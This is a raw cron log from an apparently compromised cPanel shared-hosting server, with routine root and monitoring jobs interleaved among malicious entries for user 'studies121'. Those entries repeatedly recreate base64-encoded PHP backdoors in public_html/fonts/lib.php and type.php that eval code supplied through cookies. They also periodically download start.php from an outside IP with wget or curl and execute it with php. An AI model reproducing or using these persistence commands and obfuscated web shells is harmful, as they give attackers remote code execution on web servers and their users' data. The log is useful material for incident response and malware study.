Sep  4 19:52:01 ip-184-168-122-23 CROND[12590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:52:01 ip-184-168-122-23 CROND[12593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:53:01 ip-184-168-122-23 CROND[12699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:53:01 ip-184-168-122-23 CROND[12700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:53:01 ip-184-168-122-23 CROND[12701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:53:01 ip-184-168-122-23 CROND[12702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:54:01 ip-184-168-122-23 CROND[12795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:54:01 ip-184-168-122-23 CROND[12798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:54:01 ip-184-168-122-23 CROND[12797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:54:01 ip-184-168-122-23 CROND[12799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:54:01 ip-184-168-122-23 CROND[12796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:55:01 ip-184-168-122-23 CROND[12977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:55:01 ip-184-168-122-23 CROND[12979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:55:01 ip-184-168-122-23 CROND[12980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:55:01 ip-184-168-122-23 CROND[12978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:55:01 ip-184-168-122-23 CROND[12981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:55:01 ip-184-168-122-23 CROND[12982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:56:01 ip-184-168-122-23 CROND[13073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:56:01 ip-184-168-122-23 CROND[13077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:56:01 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:56:01 ip-184-168-122-23 CROND[13075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:56:01 ip-184-168-122-23 CROND[13078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:57:01 ip-184-168-122-23 CROND[13160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:57:01 ip-184-168-122-23 CROND[13162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:57:01 ip-184-168-122-23 CROND[13163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:57:01 ip-184-168-122-23 CROND[13164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:58:01 ip-184-168-122-23 CROND[13243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:58:01 ip-184-168-122-23 CROND[13242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:58:01 ip-184-168-122-23 CROND[13241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:58:01 ip-184-168-122-23 CROND[13240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:58:01 ip-184-168-122-23 CROND[13239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:59:02 ip-184-168-122-23 CROND[13341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:59:02 ip-184-168-122-23 CROND[13344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:59:02 ip-184-168-122-23 CROND[13343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:59:02 ip-184-168-122-23 CROND[13342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:00:01 ip-184-168-122-23 CROND[13469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:00:01 ip-184-168-122-23 CROND[13470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:00:01 ip-184-168-122-23 CROND[13476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:00:01 ip-184-168-122-23 CROND[13477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:00:01 ip-184-168-122-23 CROND[13474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:00:01 ip-184-168-122-23 CROND[13478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:00:01 ip-184-168-122-23 CROND[13475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:00:01 ip-184-168-122-23 CROND[13479]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 20:00:01 ip-184-168-122-23 CROND[13482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:01:01 ip-184-168-122-23 CROND[13613]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13613]: starting 0anacron
Sep  4 20:01:01 ip-184-168-122-23 CROND[13621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:01:01 ip-184-168-122-23 CROND[13623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:01:01 ip-184-168-122-23 CROND[13626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:01:01 ip-184-168-122-23 CROND[13622]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:01:01 ip-184-168-122-23 CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13627]: finished 0anacron
Sep  4 20:02:01 ip-184-168-122-23 CROND[13713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:02:01 ip-184-168-122-23 CROND[13714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:02:01 ip-184-168-122-23 CROND[13716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:02:01 ip-184-168-122-23 CROND[13715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:02:01 ip-184-168-122-23 CROND[13718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:03:01 ip-184-168-122-23 CROND[13808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:03:01 ip-184-168-122-23 CROND[13809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:03:01 ip-184-168-122-23 CROND[13807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:03:01 ip-184-168-122-23 CROND[13810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:04:02 ip-184-168-122-23 CROND[13889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:04:02 ip-184-168-122-23 CROND[13890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
